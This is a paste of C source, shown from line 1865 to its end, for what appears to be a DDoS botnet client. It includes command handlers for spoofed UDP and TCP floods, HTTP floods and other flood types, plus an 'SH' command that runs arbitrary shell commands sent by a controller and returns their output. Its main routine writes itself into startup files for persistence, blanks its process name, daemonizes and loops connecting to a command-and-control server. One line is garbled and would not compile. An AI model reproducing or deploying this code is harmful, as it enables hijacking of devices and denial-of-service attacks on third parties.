  1865.             return;
  1866.         }
  1867.        
  1868.         if(!strcmp(argv[0], "DOUSPOOFBRAH?")){
  1869.             int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1870.             if(!sockfd)
  1871.             {
  1872.                 return;
  1873.             }
  1874.  
  1875.             int tmp = 1;
  1876.             if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1877.             {
  1878.                 return;
  1879.             }else{
  1880.                 sockprintf(mainCommSock, "FUK YEA I DO (%s)", inet_ntoa(ourPublicIP));
  1881.             }
  1882.         }
  1883.  
  1884.         if(!strcmp(argv[0], "UDP"))
  1885.         {
  1886.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1887.                 {
  1888.                         sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>");
  1889.                         return;
  1890.                 }
  1891.  
  1892.                 unsigned char *ip = argv[1];
  1893.                 int port = atoi(argv[2]);
  1894.                 int time = atoi(argv[3]);
  1895.                 int spoofed = atoi(argv[4]);
  1896.                 int packetsize = atoi(argv[5]);
  1897.                 int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
  1898.                 int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);
  1899.                 int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);
  1900.  
  1901.                 if(strstr(ip, ",") != NULL)
  1902.                 {
  1903.                         unsigned char *hi = strtok(ip, ",");
  1904.                         while(hi != NULL)
  1905.                         {
  1906.                                 if(!listFork())
  1907.                                 {
  1908.                                         sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  1909.                                         _exit(0);
  1910.                                 }
  1911.                                 hi = strtok(NULL, ",");
  1912.                         }
  1913.                 } else {
  1914.                         if (!listFork()){
  1915.                             sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  1916.                             _exit(0);  
  1917.                         }
  1918.                 }
  1919.                 return;
  1920.         }
  1921.  
  1922.         if(!strcmp(argv[0], "TCP"))
  1923.         {
  1924.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1925.                 {
  1926.                         sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  1927.                         return;
  1928.                 }
  1929.  
  1930.                 unsigned char *ip = argv[1];
  1931.                 int port = atoi(argv[2]);
  1932.                 int time = atoi(argv[3]);
  1933.                 int spoofed = atoi(argv[4]);
  1934.                 unsigned char *flags = argv[5];
  1935.  
  1936.                 int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1937.                 int psize = argc > 6 ? atoi(argv[6]) : 0;
  1938.  
  1939.                 if(strstr(ip, ",") != NULL)
  1940.                 {
  1941.                         unsigned char *hi = strtok(ip, ",");
  1942.                         while(hi != NULL)
  1943.                         {
  1944.                                 if(!listFork())
  1945.                                 {
  1946.                                         sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1947.                                         _exit(0);
  1948.                                 }
  1949.                                 hi = strtok(NULL, ",");
  1950.                         }
  1951.                 } else  {
  1952.                         if (!listFork()) {
  1953.                             sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1954.                             _exit(0);  
  1955.                             }
  1956.                         }
  1957.         }
  1958.         if(!strcmp(argv[0], "L7"))
  1959.         {
  1960.             if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1961.             {
  1962.                 sockprintf(mainCommSock, "L7 <protocol ip url> <time> <threads> <sleep check> <sleep time(ms)>");
  1963.                 return;
  1964.             }
  1965.    
  1966.             unsigned char *ip = argv[1];
  1967.             int time = atoi(argv[2]);
  1968.             int threads = atoi(argv[3]);
  1969.             int sleepcheck = (argc > 4 ? atoi(argv[4]) : 1000000);
  1970.             int sleeptime = (argc > 5 ? atoi(argv[5]) : 0);
  1971.             system("mkdir /tmp/yuagwduiagwdhg");
  1972.    
  1973.             if(strstr(ip, ",") != NULL)
  1974.             {
  1975.                 unsigned char *hi = strtok(ip, ",");
  1976.                 while(hi != NULL)
  1977.                 {
  1978.                     int i = 0;
  1979.                     while(i < threads){
  1980.                         if(!listFork())
  1981.                         {
  1982.                             sendHTTP(hi, time, sleepcheck, sleeptime);
  1983.                             close(mainCommSock);
  1984.                             _exit(0);
  1985.                         }
  1986.                         i++;
  1987.                     }
  1988.                     hi = strtok(NULL, ",");
  1989.                 }
  1990.             } else{
  1991.                 int i = 0;
  1992.                 while(i < threads){
  1993.                     if(!listFork()){
  1994.                         sendHTTP(ip, time, sleepcheck, sleeptime);
  1995.                         close(mainCommSock);
  1996.                         _exit(0);
  1997.                     }
  1998.                     i++;
  1999.                 }
  2000.             }
  2001.         }
  2002.        
  2003.                 if(!strcmp(argv[0], "L420"))
  2004.         {
  2005.             if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2006.             {
  2007.                 sockprintf(mainCommSock, "L7 <protocol ip url> <time> <threads> <sleep check> <sleep time(ms)>");
  2008.                 return;
  2009.             }
  2010.    
  2011.             unsigned char *ip = argv[1];
  2012.             int time = atoi(argv[2]);
  2013.             int threads = atoi(argv[3]);
  2014.             int sleepcheck = (argc > 4 ? atoi(argv[4]) : 1000000);
  2015.             int sleeptime = (argc > 5 ? atoi(argv[5]) : 0);
  2016.             system("mkdir /tmp/yuagwduiagwdhg");
  2017.    
  2018.             if(strstr(ip, ",") != NULL)
  2019.             {
  2020.                 unsigned char *hi = strtok(ip, ",");
  2021.                 while(hi != NULL)
  2022.                 {
  2023.                     int i = 0;
  2024.                     while(i < threads){
  2025.                         if(!listFork())
  2026.                         {
  2027.                             sendHTTP2(hi, time, sleepcheck, sleeptime);
  2028.                             close(mainCommSock);
  2029.                             sleep(10);
  2030.                             system("rm -fr /tmp/yuagwduiagwdhg");
  2031.                             _exit(0);
  2032.                         }
  2033.                         i++;
  2034.                     }
  2035.                     hi = strtok(NULL, ",");
  2036.                 }
  2037.             } else{
  2038.                 int i = 0;
  2039.                 while(i < threads){
  2040.                     if(!listFork()){
  2041.                         sendHTTP2(ip, time, sleepcheck, sleeptime);
  2042.                         close(mainCommSock);
  2043.                         sleep(10);
  2044.                         system("rm -fr /tmp/yuagwduiagwdhg");
  2045.                         _exit(0);
  2046.                     }
  2047.                     i++;
  2048.                 }
  2049.             }
  2050.         }
  2051.        
  2052.         if(!strcmp(argv[0], "VIEWPAGE"))
  2053.         {
  2054.             if(argc < 2){
  2055.                 sockprintf(mainCommSock, "VIEWPAGE <http ip url>");
  2056.                 return;
  2057.             }else{
  2058.                 char *url = argv[1];
  2059.                 char *UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  2060.                 system("mkdir /tmp/yuagwduiagwdhg");
  2061.                 char *command[80];
  2062.                 sprintf(command,"wget -O /tmp/yuagwduiagwdhg/a -U \"");
  2063.                 strcat(command, UA);
  2064.                 strcat(command,"\" -q ");
  2065.                 strcat(command, url);
  2066.                 system(command);
  2067.                 system("rm -fr /tmp/yuagwduiagwdhg");
  2068.             }
  2069.         }
  2070.        
  2071.         if(!strcmp(argv[0], "CNC"))
  2072.         {
  2073.                 if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2074.                 {
  2075.                         sockprintf(mainCommSock, "CNC <target> <port> <time>");
  2076.                         return;
  2077.                 }
  2078.  
  2079.                 unsigned char *ip = argv[1];
  2080.                 int port = atoi(argv[2]);
  2081.                 int time = atoi(argv[3]);
  2082.  
  2083.                 if(strstr(ip, ",") != NULL)
  2084.                 {
  2085.                         unsigned char *hi = strtok(ip, ",");
  2086.                         while(hi != NULL)
  2087.                         {
  2088.                                 if(!listFork())
  2089.                                 {
  2090.                                         sendCNC(hi, port, time);
  2091.                                         close(mainCommSock);
  2092.                                         _exit(0);
  2093.                                 }
  2094.                                 hi = strtok(NULL, ",");
  2095.                         }
  2096.                 } else {
  2097.                         if (listFork()) { return; }
  2098.  
  2099.                         sendCNC(ip, port, time);
  2100.                         _exit(0);
  2101.                 }
  2102.         }
  2103.        
  2104.         if(!strcmp(argv[0], "STD"))
  2105.         {
  2106.             if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2107.             {
  2108.                         sockprintf(mainCommSock, "STD <target> <port> <time>");
  2109.                         return;
  2110.             }
  2111.            
  2112.             unsigned char *ip = argv[1];
  2113.             int port = atoi(argv[2]);
  2114.             int time = atoi(argv[3]);
  2115.            
  2116.             if(strstr(ip, ",") != NULL)
  2117.                 {
  2118.                         unsigned char *hi = strtok(ip, ",");
  2119.                         while(hi != NULL)
  2120.                         {
  2121.                                 if(!listFork())
  2122.                                 {
  2123.                                         sendSTD(hi, port, time);
  2124.                                         _exit(0);
  2125.                                 }
  2126.                                 hi = strtok(NULL, ",");
  2127.                         }
  2128.                 } else {
  2129.                         if (listFork()) { return; }
  2130.  
  2131.                         sendSTD(ip, port, time);
  2132.                         _exit(0);
  2133.                 }
  2134.            
  2135.         }
  2136.  
  2137.         if(!strcmp(argv[0], "KILLATTK"))
  2138.         {
  2139.                 int killed = 0;
  2140.                 unsigned long i;
  2141.                 for (i = 0; i < numpids; i++) {
  2142.                         if (pids[i] != 0 && pids[i] != getpid()) {
  2143.                                 kill(pids[i], 9);
  2144.                                 killed++;
  2145.                         }
  2146.                 }
  2147.  
  2148.                 if(killed > 0)
  2149.                 {
  2150.                         sockprintf(mainCommSock, "Killed %d.", killed);
  2151.                 } else {
  2152.                         sockprintf(mainCommSock, "None Killed.");
  2153.                 }
  2154.         }
  2155.  
  2156.         if(!strcmp(argv[0], "LOLNOGTFO"))
  2157.         {
  2158.                 exit(0);
  2159.         }
  2160. }
  2161.  
  2162. int initConnection()
  2163. {
  2164.         unsigned char server[4096];
  2165.         memset(server, 0, 4096);
  2166.         if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  2167.         if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  2168.         else currentServer++;
  2169.  
  2170.         strcpy(server, commServer[currentServer]);
  2171.         int port = 443;
  2172.         if(strchr(server, ':') != NULL)
  2173.         {
  2174.                 port = atoi(strchr(server, ':') + 1);
  2175.                 *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2176.         }
  2177.  
  2178.         mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  2179.  
  2180.         if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  2181.  
  2182.         return 0;
  2183. }
  2184.  
  2185. int getOurIP()
  2186. {
  2187.         int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2188.         if(sock == -1) return 0;
  2189.  
  2190.         struct sockaddr_in serv;
  2191.         memset(&serv, 0, sizeof(serv));
  2192.         serv.sin_family = AF_INET;
  2193.         serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2194.         serv.sin_port = htons(443);
  2195.  
  2196.         int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2197.         if(err == -1) return 0;
  2198.  
  2199.         struct sockaddr_in name;
  2200.         socklen_t namelen = sizeof(name);
  2201.         err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2202.         if(err == -1) return 0;
  2203.  
  2204.         ourIP.s_addr = name.sin_addr.s_addr;
  2205.  
  2206.         int cmdline = open("/proc/net/route", O_RDONLY);
  2207.         char linebuf[4096];
  2208.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  2209.         {
  2210.                 if(strstr(linebuf, "\t00000000\t") != NULL)
  2211.                 {
  2212.                         unsigned char *pos = linebuf;
  2213.                         while(*pos != '\t') pos++;
  2214.                         *pos = 0;
  2215.                         break;
  2216.                 }
  2217.                 memset(linebuf, 0, 4096);
  2218.         }
  2219.         close(cmdline);
  2220.  
  2221.         if(*linebuf)
  2222.         {
  2223.                 int i;
  2224.                 struct ifreq ifr;
  2225.                 strcpy(ifr.ifr_name, linebuf);
  2226.                 ioctl(sock, SIOCGIFHWADDR, &ifr);
  2227.                 for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2228.         }
  2229.  
  2230.         close(sock);
  2231. }
  2232.  
  2233. char *getBuild()
  2234. {
  2235.     #ifdef MIPS_BUILD
  2236.     return "FLY";
  2237.     #elif MIPSEL_BUILD
  2238.     return "HEAVAN";
  2239.     #elif X86_BUILD
  2240.     return "DEMONS";
  2241.     #elif ARM_BUILD
  2242.     return "ARMYS";
  2243.     #elif PPC_BUILD
  2244.     return "POWERPC";
  2245.     #else
  2246.     return "THOSE ANGELS";
  2247.     #endif
  2248. }
  2249.  
  2250. int main(int argc, unsigned char *argv[])
  2251. {
  2252.         char *mynameis = "";
  2253.         if(SERVER_LIST_SIZE <= 0) return 0;
  2254.         printf("ANGELS %s\n", getBuild());
  2255.         strncpy(argv[0],"",strlen(argv[0]));
  2256.         argv[0] = "";
  2257.         prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2258.         srand(time(NULL) ^ getpid());
  2259.         init_rand(time(NULL) ^ getpid());
  2260.         pid_t pid1;
  2261.         pid_t pid2;
  2262.         int status;
  2263.         int dupthing = 0;
  2264.        
  2265.         char cwd[256],*str;
  2266.         FILE *file;
  2267.         str="/etc/rc.d/rc.local";
  2268.         file=fopen(str,"r");
  2269.         if (file == NULL) {
  2270.             str="/etc/rc.conf";
  2271.             file=fopen(str,"r");
  2272.         }
  2273.         if (file != NULL) {
  2274.                 char outfile[256], buf[1024];
  2275.                 int i=strlen(argv[0]), d=0;
  2276.                 getcwd(cwd,256);
  2277.                 if (strcmp(cwd,"/")) {
  2278.                         while(argv[0][i] != '/') i--;
  2279.                         sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  2280.                         while(!feof(file)) {
  2281.                                 fgets(buf,1024,file);
  2282.                                 if (!strcasecmp(buf,outfile)) d++;
  2283.                         }
  2284.                         if (d == 0) {
  2285.                                 FILE *out;
  2286.                                 fclose(file);
  2287.                                 out=fopen(str,"a");
  2288.                                 if (out != NULL) {
  2289.                                         fputs(outfile,out);
  2290.                                         fclose(out);
  2291.                                 }
  2292.                         }
  2293.                         else fclose(file);
  2294.                 }
  2295.                 else fclose(file);
  2296.         }
  2297.  
  2298.         getOurIP();
  2299.  
  2300.         if (pid1 = fork()) {
  2301.                         waitpid(pid1, &status, 0);
  2302.                         exit(0);
  2303.         } else if (!pid1) {
  2304.             if (pid2 = fork()) {
  2305.                 exit(0);
  2306.             } else if (!pid2) {
  2307.             } else {
  2308.                 zprintf("fork failed\n");
  2309.             }
  2310.         } else {
  2311.             zprintf("fork failed\n");
  2312.         }
  2313.  
  2314.         setsid();
  2315.         chdir("/");
  2316.  
  2317.         signal(SIGPIPE, SIG_IGN);
  2318.  
  2319.         while(1)
  2320.         {
  2321.                 if(initConnection()) { sleep(30); continue; }
  2322.  
  2323.                 sockprintf(mainCommSock, "FLYING %s", Angels Joining());
  2324.  
  2325.                 char commBuf[4096];
  2326.                 int got = 0;
  2327.                 int i = 0;
  2328.                 while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  2329.                 {
  2330.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2331.                                 unsigned int *newpids, on;
  2332.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2333.                                 pids[on - 1] = 0;
  2334.                                 numpids--;
  2335.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2336.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2337.                                 free(pids);
  2338.                                 pids = newpids;
  2339.                         }
  2340.  
  2341.                         commBuf[got] = 0x00;
  2342.  
  2343.                         trim(commBuf);
  2344.  
  2345.                         if(strstr(commBuf, "PING") == commBuf)
  2346.                         {
  2347.                                 sockprintf(mainCommSock, "PONG");
  2348.                                 continue;
  2349.                         }
  2350.                         if(strstr(commBuf, "DUP") == commBuf){
  2351.                             dupthing++;
  2352.                             zprintf("aparently im a dupe\n");
  2353.                             if(dupthing > 20){
  2354.                                 exit(0);
  2355.                             }
  2356.                             break;
  2357.                         }
  2358.  
  2359.                         unsigned char *message = commBuf;
  2360.  
  2361.                         if(*message == '!')
  2362.                         {
  2363.                                 unsigned char *nickMask = message + 1;
  2364.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2365.                                 if(*nickMask == 0x00) continue;
  2366.                                 *(nickMask) = 0x00;
  2367.                                 nickMask = message + 1;
  2368.  
  2369.                                 message = message + strlen(nickMask) + 2;
  2370.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2371.  
  2372.                                 unsigned char *command = message;
  2373.                                 while(*message != ' ' && *message != 0x00) message++;
  2374.                                 *message = 0x00;
  2375.                                 message++;
  2376.  
  2377.                                 unsigned char *tmpcommand = command;
  2378.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2379.  
  2380.                                 if(strcmp(command, "SH") == 0)
  2381.                                 {
  2382.                                         unsigned char buf[1024];
  2383.                                         int command;
  2384.                                         if (listFork()) continue;
  2385.                                         memset(buf, 0, 1024);
  2386.                                         szprintf(buf, "%s 2>&1", message);
  2387.                                         command = fdpopen(buf, "r");
  2388.                                         while(fdgets(buf, 1024, command) != NULL)
  2389.                                         {
  2390.                                                 trim(buf);
  2391.                                                 sockprintf(mainCommSock, "%s", buf);
  2392.                                                 memset(buf, 0, 1024);
  2393.                                                 sleep(1);
  2394.                                         }
  2395.                                         fdpclose(command);
  2396.                                         exit(0);
  2397.                                 }
  2398.  
  2399.                                 unsigned char *params[10];
  2400.                                 int paramsCount = 1;
  2401.                                 unsigned char *pch = strtok(message, " ");
  2402.                                 params[0] = command;
  2403.  
  2404.                                 while(pch)
  2405.                                 {
  2406.                                         if(*pch != '\n')
  2407.                                         {
  2408.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2409.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  2410.                                                 strcpy(params[paramsCount], pch);
  2411.                                                 paramsCount++;
  2412.                                         }
  2413.                                         pch = strtok(NULL, " ");
  2414.                                 }
  2415.  
  2416.                                 processCmd(paramsCount, params);
  2417.  
  2418.                                 if(paramsCount > 1)
  2419.                                 {
  2420.                                         int q = 1;
  2421.                                         for(q = 1; q < paramsCount; q++)
  2422.                                         {
  2423.                                                 free(params[q]);
  2424.                                         }
  2425.                                 }
  2426.                         }
  2427.                 }
  2428.                 sleep(30);
  2429.         }
  2430.  
  2431.         return 0;
  2432.         printf("client exiting");
  2433. }
Advertisement
Add Comment
Please, Sign In to add comment